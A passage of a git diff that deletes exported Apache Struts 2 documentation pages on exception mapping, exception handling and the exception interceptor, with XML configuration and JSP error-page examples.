-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-&lt;/interceptor-stack&gt;
-...
-</pre>
-</div></div>
-<p>To use exception mapping, we simply need to map Exceptions to specific Results. The framework provides two ways to declare an exception mapping <code>&lt;exception-mapping/&gt;</code> - globally or for a specific action mapping. The exception mapping element takes two attributes, <code>exception</code> and <code>result</code>.</p>
-
-<p>When declaring an exception mapping, the Interceptor will find the closest class inheritance match between the Exception thrown and the Exception declared. The Interceptor will examine all declared mappings applicable to the action mapping, first local and then global mappings. If a match is found, the Result is processed, just as if it had been returned by the Action.</p>
-
-<p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> This process follows the same rules as a Result returned from an Action. It first looks for the Result in the local action mapping, and if not found, it looks for a global Result.</p>
-
-<p>Below is an example of global and local exception mappings.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>snippet from struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-    &lt;package name="default"&gt;
-        ...
-        &lt;global-results&gt;
-            &lt;result name="login" type="redirect"&gt;/Login.action&lt;/result&gt;
-            &lt;result name="Exception"&gt;/Exception.jsp&lt;/result&gt;
-        &lt;/global-results&gt;
-
-        &lt;global-exception-mappings&gt;
-            &lt;exception-mapping exception="java.sql.SQLException" result="SQLException"/&gt;
-            &lt;exception-mapping exception="java.lang.Exception" result="Exception"/&gt;
-        &lt;/global-exception-mappings&gt;
-        ...
-        &lt;action name="DataAccess" class="com.company.DataAccess"&gt;
-            &lt;exception-mapping exception="com.company.SecurityException" result="login"/&gt;
-            &lt;result name="SQLException" type="chain"&gt;SQLExceptionAction&lt;/result&gt;
-            &lt;result&gt;/DataAccess.jsp&lt;/result&gt;
-        &lt;/action&gt;
-        ...
-    &lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-<p>In the example above, here is what happens based upon each Exception:</p>
-<ul><li>A <code>java.sql.SQLException</code> will chain to the <code>SQLExceptionAction</code> (action mapping not shown)</li><li>A <code>com.company.SecurityException</code> will redirect to <code>Login.action</code></li><li>Any other exception that extends <code>java.lang.Exception</code> will return the <code>/Exception.jsp</code> page</li></ul>
-
-
-<h2 id="ExceptionConfiguration-ExceptionValuesontheValueStack">Exception Values on the ValueStack</h2>
-
-<p>By default, the <code>ExceptionMappingInterceptor</code> adds the following values to the Value Stack:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> exception </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The exception object itself </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> exceptionStack </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The value from the stack trace </p></td></tr></tbody></table></div>
-
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Sample JSP using Error and Exception Values</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;"> 
-&lt;h2&gt;An unexpected error has occurred&lt;/h2&gt;
-&lt;p&gt;
-    Please report this error to your system administrator
-    or appropriate technical support personnel.
-    Thank you for your cooperation.
-&lt;/p&gt;
-&lt;hr/&gt;
-&lt;h3&gt;Error Message&lt;/h3&gt;
-&lt;s:actionerror/&gt;
-&lt;p&gt;
-    &lt;s:property value="%{exception.message}"/&gt;
-&lt;/p&gt;
-&lt;hr/&gt;
-&lt;h3&gt;Technical Details&lt;/h3&gt;
-&lt;p&gt;
-    &lt;s:property value="%{exceptionStack}"/&gt;
-&lt;/p&gt;
-</pre>
-</div></div>
-
-<h2 id="ExceptionConfiguration-Exceptioninconstructors">Exception in constructors</h2>
-<p>Global exception mappings are designed to be used with exceptions thrown by action methods (like <code>execute</code>). exceptions thrown from constructors will <strong>not</strong> be handled by global exception mappings.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/exception-handling.html b/content/docs/exception-handling.html
deleted file mode 100644
index 9c294c6..0000000
--- a/content/docs/exception-handling.html
+++ /dev/null
@@ -1,209 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Exception Handling</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="exception-handling.html">Exception Handling</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Exception Handling</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14813967">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14813967">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14813967">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14813967">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14813967">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14813967">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The code for this tutorial, exception_handling, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</ [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">  
-   &lt;global-results&gt;
-        &lt;result name="securityerror"&gt;/securityerror.jsp&lt;/result&gt;
-  	&lt;result name="error"&gt;/error.jsp&lt;/result&gt;
-   &lt;/global-results&gt;
-
-   &lt;global-exception-mappings&gt;
-	&lt;exception-mapping exception="org.apache.struts.register.exceptions.SecurityBreachException" result="securityerror" /&gt;
-	 &lt;exception-mapping exception="java.lang.Exception" result="error" /&gt;
-   &lt;/global-exception-mappings&gt;
-  
-</pre>
-</div></div><p>The global exception mapping node tells the Struts 2 framework what to do if an uncaught exception of the type specified (or a child of that type) is thrown by the the application. For example if a SecurityBreachException is thrown but not caught, the Struts 2 Action class will return a result of "securityerror". All other uncaught exceptions will cause the Struts 2 Action class to return a result of "error".</p><p>The global results mapping node relates the result value t [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">   &lt;action name="actionspecificexception" class="org.apache.struts.register.action.Register" method="throwSecurityException"&gt;
-     &lt;exception-mapping exception="org.apache.struts.register.exceptions.SecurityBreachException" 
-          result="login" /&gt;
-      &lt;result&gt;/register.jsp&lt;/result&gt;
-      &lt;result name="login"&gt;/login.jsp&lt;/result&gt;
-   &lt;/action&gt;
-
-</pre>
-</div></div><p>The above action node from the example application's struts.xml file specifies that if method throwSecurityException throws an uncaught exception of type SecurityBreachException the Struts 2 framework should return a result of login. The login result will cause the user's browser to be redirected to login.jsp.</p><p>You can see that an action-specific exception mapping will take precedence if the same exception is also mapped globally.</p><h3 id="ExceptionHandling-LoggingE [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptors&gt;
-  &lt;interceptor-stack name="appDefaultStack"&gt;
-    &lt;interceptor-ref name="defaultStack"&gt;
-     &lt;param name="exception.logEnabled"&gt;true&lt;/param&gt;
-     &lt;param name="exception.logLevel"&gt;ERROR&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
- &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-
-&lt;default-interceptor-ref name="appDefaultStack" /&gt;
-
-</pre>
-</div></div><p>The above interceptors node configures a new stack of Struts 2 interceptors named appDefaultStack. This stack of interceptors is based upon the defaultStack of interceptors (which are the Struts 2 interceptors that execute by default whenever an Action class method is called by the Struts 2 framework).</p><p>The ExceptionMappingInterceptor is one of the Struts 2 interceptors that is part of the default stack. In the definition of the struts defaultStack, the ExceptionMappi [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">   &lt;h4&gt;The application has malfunctioned.&lt;/h4&gt;
-
-   &lt;p&gt;  Please contact technical support with the following information:&lt;/p&gt; 
-
-   &lt;h4&gt;Exception Name: &lt;s:property value="exception" /&gt; &lt;/h4&gt;
-
-   &lt;h4&gt;Exception Details: &lt;s:property value="exceptionStack" /&gt;&lt;/h4&gt; 
-
-</pre>
-</div></div><p>When the exception interceptor is triggered it adds to the fields available for display the exception message and the exception's stack trace.</p><h3 id="ExceptionHandling-Summary">Summary</h3><p>Struts 2 provides a easy to use configuration for handling uncaught exceptions and redirecting users to appropriate view pages. You can configure exception handling to be global for all actions or to just for a specific action. You can also enable the Struts 2 framework to log the [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/exception-interceptor.html b/content/docs/exception-interceptor.html
deleted file mode 100644
index 735544e..0000000
--- a/content/docs/exception-interceptor.html
+++ /dev/null
@@ -1,211 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Exception Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="exception-interceptor.html">Exception Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Exception Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14015">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14015">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14015">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14015">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14015">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14015">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-This interceptor forms the core functionality of the exception handling feature. Exception handling allows you to map
-an exception to a result code, just as if the action returned a result code instead of throwing an unexpected
-exception. When an exception is encountered, it is wrapped with an ExceptionHolder and pushed on the stack,
-providing easy access to the exception from within your result.
-</p>
-
-<p></p><p>
-<b>Note:</b> While you can configure exception mapping in your configuration file at any point, the configuration
-will not have any effect if this interceptor is not in the interceptor stack for your actions. It is recommended that
-you make this interceptor the first interceptor on the stack, ensuring that it has full access to catch any
-exception, even those caused by other interceptors.
-</p>
-
-
-<h2 id="ExceptionInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>logEnabled (optional) - Should exceptions also be logged? (boolean true|false)</li></ul><p></p><ul><li>logLevel (optional) - what log level should we use (<code>trace, debug, info, warn, error, fatal</code>)? - defaut is <code>debug</code></li></ul><p></p><ul><li>logCategory (optional) - If provided we would use this category (eg. <code>com.mycompany.app</code>).
-Default is to use <code>com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor</code>.</li></ul><p></p>
-
-<p></p><p>
-The parameters above enables us to log all thrown exceptions with stacktace in our own logfile,
-and present a friendly webpage (with no stacktrace) to the end user.
-</p>
-
-
-<h2 id="ExceptionInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-If you want to add custom handling for publishing the Exception, you may override
-{@link #publishException(com.opensymphony.xwork2.ActionInvocation, ExceptionHolder)}. The default implementation
-pushes the given ExceptionHolder on value stack. A custom implementation could add additional logging etc.
-</p>
-
-<h2 id="ExceptionInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;xwork&gt;
-    &lt;package name=&quot;default&quot; extends=&quot;xwork-default&quot;&gt;
-        &lt;global-results&gt;
-            &lt;result name=&quot;error&quot; type=&quot;freemarker&quot;&gt;error.ftl&lt;/result&gt;
-        &lt;/global-results&gt;
-
-        &lt;global-exception-mappings&gt;
-            &lt;exception-mapping exception=&quot;java.lang.Exception&quot; result=&quot;error&quot;/&gt;
-        &lt;/global-exception-mappings&gt;
-
-        &lt;action name=&quot;test&quot;&gt;
-            &lt;interceptor-ref name=&quot;exception&quot;/&gt;
-            &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-            &lt;exception-mapping exception=&quot;com.acme.CustomException&quot; result=&quot;custom_error&quot;/&gt;
-            &lt;result name=&quot;custom_error&quot;&gt;custom_error.ftl&lt;/result&gt;
-            &lt;result name=&quot;success&quot; type=&quot;freemarker&quot;&gt;test.ftl&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/xwork&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/exclude-parameters.html b/content/docs/exclude-parameters.html
deleted file mode 100644
index c1d119e..0000000
--- a/content/docs/exclude-parameters.html
+++ /dev/null
@@ -1,191 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Exclude Parameters</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="exclude-parameters.html">Exclude Parameters</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Exclude Parameters</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30746942">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30746942">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30746942">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30746942">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30746942">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30746942">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
